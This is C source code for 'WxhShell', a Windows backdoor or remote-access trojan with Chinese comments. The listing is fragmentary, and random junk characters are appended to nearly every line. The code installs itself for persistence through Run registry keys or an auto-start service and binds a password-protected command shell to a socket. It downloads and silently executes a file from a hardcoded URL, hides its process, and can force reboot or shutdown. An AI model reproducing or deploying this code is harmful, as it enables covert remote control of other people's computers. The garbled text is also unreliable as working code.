    if(Boot(SHUTDOWN)) M{~KT3c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a.g:yWL\  
    else { -\fn\n  
    closesocket(wsh); }MV=t7x9+  
    ExitThread(0); rxAb]~MMp  
    } n5 jzVv  
    break; y :8Oc?  
    } z,=k F I  
  // 获取shell mdIa`OZr  
  case 's': { `@i! 'h  
    CmdShell(wsh); @&]%%o+  
    closesocket(wsh); ' |K408i   
    ExitThread(0); ~D\ V!  
    break; :S{+|4pH  
  } [y$sJF7;I  
  // 退出 TfqQh!Y  
  case 'x': { ?!kPW^gD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eMDraJv@  
    CloseIt(wsh); vh^,8pPy  
    break; {KalVZX2R  
    } fwi( qx1=}  
  // 离开 u:D,\`;)  
  case 'q': { (SYSw%v$A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <f`G@  
    closesocket(wsh); - AxO1 qO  
    WSACleanup(); [O(8iz v  
    exit(1); ].<B:]:,  
    break; @I|gA  
        } bT{iei]?  
  } v}\Nx[}  
  } ?)B\0` %*'  
y2 ,M9  
  // 提示信息 {QTnVS't 0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q#rj>+?  
} 4>W ov  
  } eo&nAr  
5m&Zq_Qe  
  return; Ox1#}7`0>  
} R7d45Wl  
]\5?E }kd  
// shell模块句柄 B @8 ]!  
int CmdShell(SOCKET sock) \`M8Mu9~w  
{ _}-Ed,.=  
STARTUPINFO si; !z]2+  
ZeroMemory(&si,sizeof(si)); J M,ndl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y6nPs6kR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ix]t>2r  
PROCESS_INFORMATION ProcessInfo; .d>TU bR;  
char cmdline[]="cmd"; 7}e73  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $.2#G"|  
  return 0; 8%wu:;*]%  
} h|j $Jy  
5u-jjUO  
// 自身启动模式 0xYPK7a=L\  
int StartFromService(void) K`?",G?_  
{ Q-}yZ  
typedef struct {"uLV{d  
{ Th6xwMq  
  DWORD ExitStatus; t\$P*_  
  DWORD PebBaseAddress; %Z=%E!*  
  DWORD AffinityMask; {FU,om9  
  DWORD BasePriority; 8=U0\<wT  
  ULONG UniqueProcessId; TZk.?@s5  
  ULONG InheritedFromUniqueProcessId; 6eh\-+=  
}   PROCESS_BASIC_INFORMATION; Bqd'2HQd  
tmJ-2  
PROCNTQSIP NtQueryInformationProcess; 2\p8U#""  
9zKrFqhNo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O+^l>+ZGj?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gd8FXk,.!  
\'gb{JO  
  HANDLE             hProcess; "NgfdLz  
  PROCESS_BASIC_INFORMATION pbi; A+&^As2  
9=J+5V^qD<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [Cx'a7KWL  
  if(NULL == hInst ) return 0; LzW8)<N  
0//?,'.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8(Ab NQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nM1F4G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TUQ+?[  
#Jo#[-r  
  if (!NtQueryInformationProcess) return 0; uoM;p'  
;ctJ9"_g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1webk;IM  
  if(!hProcess) return 0; <n)J~B^  
Az}.Z'LJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5mxYzu;#]  
u._B7R&>  
  CloseHandle(hProcess); }j/($,  
#MyR:V*a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,u1Yn}  
if(hProcess==NULL) return 0; W/3,vf1  
Nj<}t/e  
HMODULE hMod; +M"Fv9  
char procName[255]; 2+7r Lf`l  
unsigned long cbNeeded; em+dQ15  
:4f>S) m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GEdWpYKS-`  
\CP)$0j-&o  
  CloseHandle(hProcess); ok"v`76~f5  
[zO:[i 7  
if(strstr(procName,"services")) return 1; // 以服务启动 -.>b7ui  
Nm.H  
  return 0; // 注册表启动 K\7\  
} [<+A?M=  
5v f?E"\r  
// 主模块 fZqqU|tq  
int StartWxhshell(LPSTR lpCmdLine) !y&uK&1  
{ ,dTRM  
  SOCKET wsl; 3 ?1qI'5  
BOOL val=TRUE; (}W+W\.  
  int port=0; =z5'A|Wa=,  
  struct sockaddr_in door; b1(7<o  
3 %ppvvQ  
  if(wscfg.ws_autoins) Install(); F3XB};  
LyaFWx   
port=atoi(lpCmdLine); aL9 yNj}2  
/A8ua=Kn  
if(port<=0) port=wscfg.ws_port; 7hs1S|  
J|9kWjOf+i  
  WSADATA data; Uq:WW1=kh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -bN;nSgb  
OT*C7=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q`HuVilNH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _(K)(&  
  door.sin_family = AF_INET; x}Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -VqZw&"  
  door.sin_port = htons(port); tai=2,'  
TN xl?5:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~6HpI0i  
closesocket(wsl); jT~PwDSFt3  
return 1; 6zmt^U   
} %V,2,NCd  
MM}lW-q;  
  if(listen(wsl,2) == INVALID_SOCKET) { *&f^R}O  
closesocket(wsl); t<)Cbple\  
return 1; 0pO{{F  
} T<hS  
  Wxhshell(wsl); s$cr|p;7#  
  WSACleanup(); 'MM%Sm,  
81gcM?  
return 0; Mbj{C  
q#{.8H-X'  
} vD=>AAvG  
mv5=>Xc6  
// 以NT服务方式启动 64)Fz}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) laR cEXj  
{ #Tz$ona  
DWORD   status = 0; XX85]49`%  
  DWORD   specificError = 0xfffffff; BGtr=&Hq  
B6N/nCvHK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n{d0}N =  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #41xzN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^#|Sl D]  
  serviceStatus.dwWin32ExitCode     = 0; $pKlF0 .  
  serviceStatus.dwServiceSpecificExitCode = 0; B3+9G,or  
  serviceStatus.dwCheckPoint       = 0; Q]JWWKt6rV  
  serviceStatus.dwWaitHint       = 0; Dl a }-A:  
(i1 JDe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N~""Lc&  
  if (hServiceStatusHandle==0) return; p?uk|C2  
BBV"nm_(/  
status = GetLastError(); YUzx,Y>k  
  if (status!=NO_ERROR) |fL|tkGEa  
{ mH1T|UI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N\,[(LbA&  
    serviceStatus.dwCheckPoint       = 0; }McqoZ%F  
    serviceStatus.dwWaitHint       = 0; : 3J0Q  
    serviceStatus.dwWin32ExitCode     = status; L701j.7"  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;PS V3Zh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v qt#JdPp9  
    return; rr@h9bak;g  
  } @U8}K#  
M id v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yQT cO^E  
  serviceStatus.dwCheckPoint       = 0; J0ys Z]  
  serviceStatus.dwWaitHint       = 0; lOp7rW]$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Oe)d|6=  
} &kR*J<)V  
jmp0 %:+L  
// 处理NT服务事件,比如:启动、停止 j*.K|77WHj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O'm5k l  
{ &z;bX-"E  
switch(fdwControl) :w!A_~ w2  
{ _>8rTk`/h  
case SERVICE_CONTROL_STOP: _#UiY ffa*  
  serviceStatus.dwWin32ExitCode = 0; 9QQiIi$74U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L;7u0Yg  
  serviceStatus.dwCheckPoint   = 0; Wc*jTip  
  serviceStatus.dwWaitHint     = 0; V-{3)6I$hG  
  { R ]h3a :ic  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t@&U2JaL>W  
  } / 5!0wxN  
  return; ag_*Z\  
case SERVICE_CONTROL_PAUSE: .+07 Ui]I!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z4qc)- {L  
  break; URd0|?t9^L  
case SERVICE_CONTROL_CONTINUE: H;h$k]T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oe'f?IY  
  break; @%'1Jd7-Wp  
case SERVICE_CONTROL_INTERROGATE: ]<3n;*8k?  
  break; H zMr  
}; W\c1QY$E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _o52#Q4   
} %(uYYr 6  
3 T1,:r  
// 标准应用程序主函数 V0l"tr@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -;:.+1   
{ ,qT^e8E+  
"1l$]= C*  
// 获取操作系统版本 e9=UTn{!  
OsIsNt=GetOsVer(); vg-Ah6BC{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h-f`as"d  
`f[  
  // 从命令行安装 EED0U?  
  if(strpbrk(lpCmdLine,"iI")) Install(); i V$TvD+  
`j1b5&N;7  
  // 下载执行文件  0"F|)  
if(wscfg.ws_downexe) { @*9c2\"k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6MD9DqD  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ao U Pq  
} &-$27  
4,P(w+  
if(!OsIsNt) { VnYcqeCm  
// 如果时win9x,隐藏进程并且设置为注册表启动 83adnm  
HideProc(); /fSsh;F  
StartWxhshell(lpCmdLine); 8\X-]Gh\^  
} Q}: $F{  
else {>3J96  
  if(StartFromService()) :cxA  
  // 以服务方式启动 +n%d,Pz  
  StartServiceCtrlDispatcher(DispatchTable); @DNwzdP  
else Y#5v5  
  // 普通方式启动 IAHQT < ]  
  StartWxhshell(lpCmdLine); Hl#?#A5  
T,oZaJ<  
return 0; Nz77" kC  
} dq{+-XaEk  
7>E>`Nc6  
Kqz+:E8D  
@<jm+f"MP  
=========================================== j"A<qI  
9Tg k=  
l;SXR <EU  
I7#^'/  
A+MG?k>yg  
{pc  (b  
" x[y}{T  
#Dea$  
#include <stdio.h> r;9 V7C  
#include <string.h> {4$aA*  
#include <windows.h> DDq?4  
#include <winsock2.h> %a?\y_a=b  
#include <winsvc.h> n) j0h-  
#include <urlmon.h> I 6'!b/  
? *v*fs0  
#pragma comment (lib, "Ws2_32.lib") xi<yB0MoA  
#pragma comment (lib, "urlmon.lib") Yr*!T= z  
S"t\LB*'Ls  
#define MAX_USER   100 // 最大客户端连接数 1=h5Z3/fj  
#define BUF_SOCK   200 // sock buffer iR!]&Oh  
#define KEY_BUFF   255 // 输入 buffer c{IL"B6>  
zm{`+boH<  
#define REBOOT     0   // 重启 %>y`VN D  
#define SHUTDOWN   1   // 关机 ' <?=!&\D  
#N$\d4q9  
#define DEF_PORT   5000 // 监听端口 m^~5Xr"  
(HXKa][T  
#define REG_LEN     16   // 注册表键长度 .Y0O.  
#define SVC_LEN     80   // NT服务名长度 gq]@*C  
;Dbx5-t  
// 从dll定义API ifNyVE Hy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NcrBp(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i6f42]Jy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4H^ACw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gt9(5p  
#+N_wIP4  
// wxhshell配置信息 Ifokg~X~G  
struct WSCFG { njZJp|y6  
  int ws_port;         // 监听端口 {<$tEj:  
  char ws_passstr[REG_LEN]; // 口令 ULhXyItL  
  int ws_autoins;       // 安装标记, 1=yes 0=no ))dw[Xa  
  char ws_regname[REG_LEN]; // 注册表键名 Fi'ZId  
  char ws_svcname[REG_LEN]; // 服务名 ilXKJJda  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D~bx'Wr+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,c-*/{3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w59q* 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m] yUcj{F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4TI`   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZXN`8!]&  
`-e9#diQe  
}; ^s#+`Y05/  
BNF*1JO  
// default Wxhshell configuration kl[(!"p  
struct WSCFG wscfg={DEF_PORT, | TG6-e_  
    "xuhuanlingzhe", F!phTu  
    1, j sD]v)LB  
    "Wxhshell", -\USDi(  
    "Wxhshell", w?zy/+N~  
            "WxhShell Service", p>i8aN  
    "Wrsky Windows CmdShell Service", $)nPj_h  
    "Please Input Your Password: ", +_kA&Q(t  
  1, V7}'g6X  
  "http://www.wrsky.com/wxhshell.exe", T`MM<+^G  
  "Wxhshell.exe" *p=enflU  
    }; M7T*J>i  
MkHkM  
// 消息定义模块 k<P`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *~YdL7f)J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /CH]'u^j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a0+q^*\d\R  
char *msg_ws_ext="\n\rExit."; f_$hK9I  
char *msg_ws_end="\n\rQuit."; x[$KZGK+GL  
char *msg_ws_boot="\n\rReboot..."; /E2P  
char *msg_ws_poff="\n\rShutdown..."; Sa%%3_&  
char *msg_ws_down="\n\rSave to "; # S/n3  
7M _ mR Vh  
char *msg_ws_err="\n\rErr!"; zRd.!Rv  
char *msg_ws_ok="\n\rOK!"; R?;mu^B  
k6J&4?xZ  
char ExeFile[MAX_PATH]; " dGN0i  
int nUser = 0; cWG%>.`5r  
HANDLE handles[MAX_USER]; mQ<4(qd)  
int OsIsNt; .p.( \5Fo  
ll1N`ke  
SERVICE_STATUS       serviceStatus; b !y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !H@HgJ -  
x`FTy&g  
// 函数声明 + kT ]qH  
int Install(void); pdR\Ne0P*  
int Uninstall(void); G[JWG  
int DownloadFile(char *sURL, SOCKET wsh); N Uv Vhy]{  
int Boot(int flag); #rF`Hk:  
void HideProc(void); _WvVF*Q"k  
int GetOsVer(void); J}[[tl  
int Wxhshell(SOCKET wsl); l$pz:m]Id  
void TalkWithClient(void *cs); QuG"]$  
int CmdShell(SOCKET sock); /g. c( -#]  
int StartFromService(void); : .-z!  
int StartWxhshell(LPSTR lpCmdLine); vK@U K"m  
[OTn>/W'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zwU[!i)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T9%|B9FeJ  
$'>JG9M  
// 数据结构和表定义 ?}v/)hjp=?  
SERVICE_TABLE_ENTRY DispatchTable[] = 99`w'Nlk  
{ {d*OJ/4  
{wscfg.ws_svcname, NTServiceMain}, _Y ;tD  
{NULL, NULL} Ihf)gfHj  
}; B @QWr;  
AX$r,KmE  
// 自我安装 LEeA ,Y  
int Install(void) = c Z24I  
{ d5>&, {o7N  
  char svExeFile[MAX_PATH]; S<NK!89  
  HKEY key; akt7rnt?i  
  strcpy(svExeFile,ExeFile); hrq% {!Z  
m7y[Y  
// 如果是win9x系统,修改注册表设为自启动 EnlAgL']|  
if(!OsIsNt) { :H3/+/x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i0$*):b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /hu>MZ(\  
  RegCloseKey(key); \QC{38}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g hmn3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,dTmI{@O  
  RegCloseKey(key); V4NQcy? H  
  return 0; 5 ,-8oEUL  
    } HUD0 @HQI  
  } $l"%o9ICG  
} =?0v,;F9|  
else { !L9OJ1F  
R'`'q1=R  
// 如果是NT以上系统,安装为系统服务 {pH#zs4Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c QuL9Xo  
if (schSCManager!=0) _"B.V(  
{ xl`AiO `K  
  SC_HANDLE schService = CreateService C0/^6Lu"o  
  ( {icTfPR4E  
  schSCManager, ("t'XKP&N  
  wscfg.ws_svcname, bA,Zfsr6#  
  wscfg.ws_svcdisp, mi<Q3;m  
  SERVICE_ALL_ACCESS, X*@ tp,t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `j@1]%&z  
  SERVICE_AUTO_START, 6 h#U,G  
  SERVICE_ERROR_NORMAL, {eI'0==  
  svExeFile, t4#gW$+^?H  
  NULL, r!dWI  
  NULL, QK+,63@D\=  
  NULL, KzO"$+M  
  NULL, YwET.(oo  
  NULL Uzzm2OS`  
  ); s$>n U  
  if (schService!=0) <^Vj1s  
  { :=;{w~D  
  CloseServiceHandle(schService); '7el`Ff  
  CloseServiceHandle(schSCManager); jw=PeT|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GnW MI1$  
  strcat(svExeFile,wscfg.ws_svcname); "}qs +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aH{)|?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ltgtD k  
  RegCloseKey(key); J??AU0 vh  
  return 0; $ch`.$wx  
    } \alV #>J5  
  } ]}N01yw|s  
  CloseServiceHandle(schSCManager); )h]#:,pm  
} =?.oH|&\h  
} uStAZ ~b\  
O6G'!h\F  
return 1; ]$Z:^" JS3  
} s2G9}i{  
Y /_CPY  
// 自我卸载 LZe)_9$  
int Uninstall(void) 3r kcIVO  
{ sd\p[MXX  
  HKEY key; q/U-6A[0  
jW`JThoq  
if(!OsIsNt) { Cn3 _D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  SW#/;|m  
  RegDeleteValue(key,wscfg.ws_regname); f; |fS~  
  RegCloseKey(key); zZCRej  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xt5/`C  
  RegDeleteValue(key,wscfg.ws_regname); ;C$+8%P4  
  RegCloseKey(key); i>YQ<A1  
  return 0; K#wA ;  
  } }psRgF  
} e9KD mX_  
} s/IsrcfM  
else { PtbaC6"\  
NgGMsE\C}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q%d G>!  
if (schSCManager!=0) ;z4F-SYQ  
{ F,p0OL.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zk8 )!Af  
  if (schService!=0) w7?fJ")  
  { $C\ETQ@  
  if(DeleteService(schService)!=0) { qXW\/NT"p<  
  CloseServiceHandle(schService); pVy=rS-  
  CloseServiceHandle(schSCManager); &su'znLV  
  return 0; TSP%5v;Dh  
  } 0Xh_.PF  
  CloseServiceHandle(schService); Xh;.T=/E|  
  } VjM3M<!g>M  
  CloseServiceHandle(schSCManager); hHE~/U  
} h.>SVQzU  
} ,\\ba_*z  
~Xxmj!nOf  
return 1; #%p44%W  
} c,2& -T}  
Lkm-<  
// 从指定url下载文件 =WY'n l'  
int DownloadFile(char *sURL, SOCKET wsh) 1z-.e$&z  
{ o?Hfxp0}  
  HRESULT hr; ~U&NY7.@  
char seps[]= "/"; AYA{_^#+3  
char *token; ,D+ydr  
char *file; !lgL=Ys(  
char myURL[MAX_PATH]; #,d~t  
char myFILE[MAX_PATH]; %MjoY_<:_  
{'O><4  
strcpy(myURL,sURL); SO0\d0?u  
  token=strtok(myURL,seps); Q[j| 2U  
  while(token!=NULL) !RmVb}m  
  { j HHWq>=d  
    file=token; ]u_j6y!  
  token=strtok(NULL,seps); Zok{ndO@|f  
  } /YvXyi>^"%  
Z ;.-UXat  
GetCurrentDirectory(MAX_PATH,myFILE); ]5Uuz?:e  
strcat(myFILE, "\\"); _AX 9 Mu]  
strcat(myFILE, file); 'V:Q :  
  send(wsh,myFILE,strlen(myFILE),0); /88s~=  
send(wsh,"...",3,0); %PYl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); crM5&L9zF  
  if(hr==S_OK) 4!Js="  
return 0; %hnBpz  
else r<+C,h;aww  
return 1; a+^` +p/5  
AatSN@,~z  
} [MTd<@  
!LN8=u.  
// 系统电源模块 tUv>1) [  
int Boot(int flag) wX"hUu  
{ i?6&4  
  HANDLE hToken; G68KoM  
  TOKEN_PRIVILEGES tkp; >j5\J_( ;D  
m+Ye`]  
  if(OsIsNt) { +FT c/r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "Lbsq\W>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AFz:%m  
    tkp.PrivilegeCount = 1; s:U:Dv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 03 @a G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5CkG^9  
if(flag==REBOOT) { K~ eak\=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !/is+ xp  
  return 0; OM\J4"YV$  
} b{A[\ "  
else { ~R!1{8HP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2Xt4Rqk$  
  return 0; u;`]U$Qq9  
} OpUfK4U)  
  } Dl;hOHvKk  
  else { 7Aqg X0)  
if(flag==REBOOT) { Tru{8]uMH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7*5B  
  return 0; \zO.#H  
} r<`:Q]  
else { d9f7 &  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +K 4XMf  
  return 0; G$<(>"Yr~$  
} 5p0~AN)  
} a1cX+{W  
|`T(:ZKXZ2  
return 1; CY1WT  
} ')uYI;h9  
&`D$w?beg  
// win9x进程隐藏模块 U zy@\  
void HideProc(void) MKHnA|uQ](  
{ ]&*POri&  
smn"]K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MpCPY"WLL  
  if ( hKernel != NULL ) ;KL7SM%g4  
  {  s5VK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NdXHpq;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E'AR.!  
    FreeLibrary(hKernel); CsO!Y\'FY  
  } Y+?QHtZL  
Q"QRF5Ue  
return; E2e"A I.h  
} F]$ Nu  
37U8<  
// 获取操作系统版本 ]>n{~4a  
int GetOsVer(void) @ st>#]i4  
{ [?]N GTr#  
  OSVERSIONINFO winfo; 7H7 Xbi@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O<m46mwM  
  GetVersionEx(&winfo); @kYY1mv;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _jQ:9,; A  
  return 1; 8em'7hR9  
  else L AQ@y-K3  
  return 0; 7+jxf[(XQ  
} Wg-mJu(  
d<m;Q}/l&h  
// 客户端句柄模块 uzd7v,  
int Wxhshell(SOCKET wsl) PucNu8   
{ %_!/4^smE  
  SOCKET wsh; C;BO6$*_e  
  struct sockaddr_in client; a"#t'\  
  DWORD myID; ;d?BVe?  
@cDB 7w\  
  while(nUser<MAX_USER) fv;Q*; oC&  
{ +:KZEFY?<  
  int nSize=sizeof(client); i).%GMv*r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V+gZjuN$  
  if(wsh==INVALID_SOCKET) return 1; {]CZgqE{  
vt EfH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 46?z*~*G  
if(handles[nUser]==0) W{,fpm  
  closesocket(wsh); Hv/C40uM-  
else eR!# 1ar  
  nUser++; m<gdyY   
  } }+,Q&]>~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1c$pz:$vX  
j=0kxvp  
  return 0; l)u%`Hcn  
} |IAx!Z-P  
ndSu-8?L  
// 关闭 socket CsR[@&n'  
void CloseIt(SOCKET wsh) mF6-f#t>H+  
{ 6uRE9h|  
closesocket(wsh); 3D|Lb]=  
nUser--; HSruue8  
ExitThread(0); RoqkT|#$  
} UylIxd  
!yNU-/K  
// 客户端请求句柄 (hc!!:N~q  
void TalkWithClient(void *cs) N_%@_$3G]  
{ '(]Wtx%9"  
Wv4$Lgr  
  SOCKET wsh=(SOCKET)cs; (:iMs) iO{  
  char pwd[SVC_LEN]; \mb4leg5  
  char cmd[KEY_BUFF]; t>[QW`EeP  
char chr[1]; RXXHg  
int i,j; dDcQSshL  
&8VH m?h  
  while (nUser < MAX_USER) { !)M}(I}  
Y.m1d?H 1  
if(wscfg.ws_passstr) { `_J&*Kk5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); htB2?%S=T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {|9knP  
  //ZeroMemory(pwd,KEY_BUFF); Dl!0Hl  
      i=0; .][yH[ F  
  while(i<SVC_LEN) { W{NWF[l8O?  
0akJv^^D  
  // 设置超时 m[%356u  
  fd_set FdRead; <"Y>|X  
  struct timeval TimeOut; eD*764tG  
  FD_ZERO(&FdRead); V9[_aP;  
  FD_SET(wsh,&FdRead); jOhAXe;~X{  
  TimeOut.tv_sec=8; ` nX, x-UM  
  TimeOut.tv_usec=0; !.h{/37]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ruaZ(R[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b:(+d"S  
H{cOkuy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FK BRJ5O  
  pwd=chr[0]; bdrE2m  
  if(chr[0]==0xd || chr[0]==0xa) { FBE|pG7  
  pwd=0; +Xg:*b9So  
  break; 7FwtBO  
  } {aE[h[=r  
  i++; b^R:q7ea  
    } fRNj *bIV  
BB}WfA  
  // 如果是非法用户,关闭 socket @3n!5XM{EE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nOC\ =<Nsg  
} V lZ+x)E  
B7Ket8<J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5bb#{?2i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Sl"1HL  
-zECxHj x  
while(1) { CH7a4qL`  
AMrYT+1  
  ZeroMemory(cmd,KEY_BUFF); PTHxvml  
cc${[yj)  
      // 自动支持客户端 telnet标准   \d:Q%S  
  j=0; .#y#u={{l  
  while(j<KEY_BUFF) { C b'|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \BBs;z[/  
  cmd[j]=chr[0]; kQI'kL8>  
  if(chr[0]==0xa || chr[0]==0xd) { %@QxU-k_  
  cmd[j]=0; QFTiE1mGH  
  break; iv`G}.Bo  
  } }w)}=WmD  
  j++; gLMb,buqC  
    } WX Fm'5Vr  
W~H`{x%Av>  
  // 下载文件 1n8y4k)  
  if(strstr(cmd,"http://")) { Q`i@['?p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A^lm0[3q  
  if(DownloadFile(cmd,wsh)) 9>{ml&$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @+;.W>^h  
  else #~Xj=M%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c RI2$|  
  } rk=/iD  
  else { !@!603Gy  
h]@'M1D%  
    switch(cmd[0]) { .XpuD,^;@  
  Xg.Lo2s  
  // 帮助 W. d',4)  
  case '?': { [fCnq  
